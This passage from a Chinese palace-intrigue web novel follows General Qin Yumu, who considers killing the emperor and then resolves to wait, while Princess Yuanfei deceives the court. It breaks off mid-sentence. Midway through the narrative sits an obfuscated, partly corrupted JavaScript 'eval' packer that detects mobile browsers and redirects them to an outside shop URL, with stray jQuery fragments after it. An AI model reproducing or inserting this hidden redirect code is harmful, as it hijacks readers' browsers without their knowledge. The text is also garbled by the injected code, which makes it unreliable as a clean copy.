鸢飞说到这,秦玉穆的神色越发沉重,她已经被逼到了死胡同口,就像是方才木兰军围困鸢飞一样,瓮中鳖、笼中鸟,横竖都是死路一条,她眼神中掠过三分狠戾,既然横竖都是死,倒不如拼一把,杀了皇帝。
皇帝轮流做,今年到我家!
但狠戾之色短短一瞬又消失了,秦家所有孩子自小就被教导忠君爱国,秦玉穆已经是秦家孩子里最为叛逆的了,但她还是狠不下心,还是绕不过心里那堵写满了忠君爱国的墙。
再说了,秦家虽然号称十万大军,但十万大军都戍守在西北边境,只有三千木兰军随她回到了京城,她一旦起兵造反,三千兵马不到一夜就会被皇宫内的两万禁卫军镇压,更别说京郊还驻守着五万大军。
一场注定会失败的造反,她何必要木兰军及秦家上下陪自己去死呢?
秦玉穆的神色有些灰败,鸢飞看着她这幅模样,总觉得似曾相识,今日她去见皇后,皇后也是这幅模样。
权力真是个可怕的东西……它可以左右无数人的命运。
“不能逃,那秦帅打算怎么办?”鸢飞问。
秦玉穆从短暂的沮丧中振作起来,她这一辈子经历了这么多的战事,有很多次,都是这样,看着一点希望都没有,像是陷入了死局,只能等死,但无数次,她都冲破了死局的桎梏,为自己冲杀出了一条生路。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16648576|184819||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
p>
这次也是一样,她不会甘心听从嫆昭明的摆布,目前寻不到活路,但她等得起,她总能等到机会冲杀出一条活路。
“等,等一个时机。”秦玉穆冷肃道。
这晚,鸢飞没有带走秦家那个患有哑疾的男子,她和秦玉穆两个人再也没有提起过今晚的这番交谈,两人的关系在外人眼中更差了。
此后很长一段的时间里,除了在少数特定事件上,两人会站到一边,大多数时候,两人在朝堂上都是针锋相对的,不论是皇帝还是朝中百官都乐于看到两个女人的博弈与争斗。
秦玉穆依旧和以往一样,戴着傲慢又忠心的面具,只是每多看皇帝一眼,她心中的恶心就会更重一分,大概恶心到一定程度,她就能狠下心弑君了吧。
鸢飞也一如既往地扮演着完美女儿的形象,为皇帝分忧解难的同时也寻求皇帝的帮助,在得知了废后之事后还会劝阻他,做一个不那么乖顺的女儿。
她去见皇后的事瞒不住,鸢飞也不打算瞒,但皇后对她说了什么,这就只有她们两个人才知道了。
鸢飞九分真一分假,她一边劝皇帝不要废后,一边又对皇帝要迎秦玉穆为后这件事假做不知。
不论是帝后的冷战、公主与秦帅的针锋相对、还是内阁的冷眼旁观,朝中的氛围不太寻常,充斥着风雨欲来的惴惴不安。
直到冬至这日,皇后以身体不适为由,没有出席宫宴,宴会全程由云贵妃主持。
云贵妃以商议嫆菁宁和秦远征的婚事为由,留了秦玉穆夜宿宫中,鸢飞冷眼瞧着,这一留只怕皇帝就不打算放秦玉穆出去了,秦玉穆也知道自己大祸将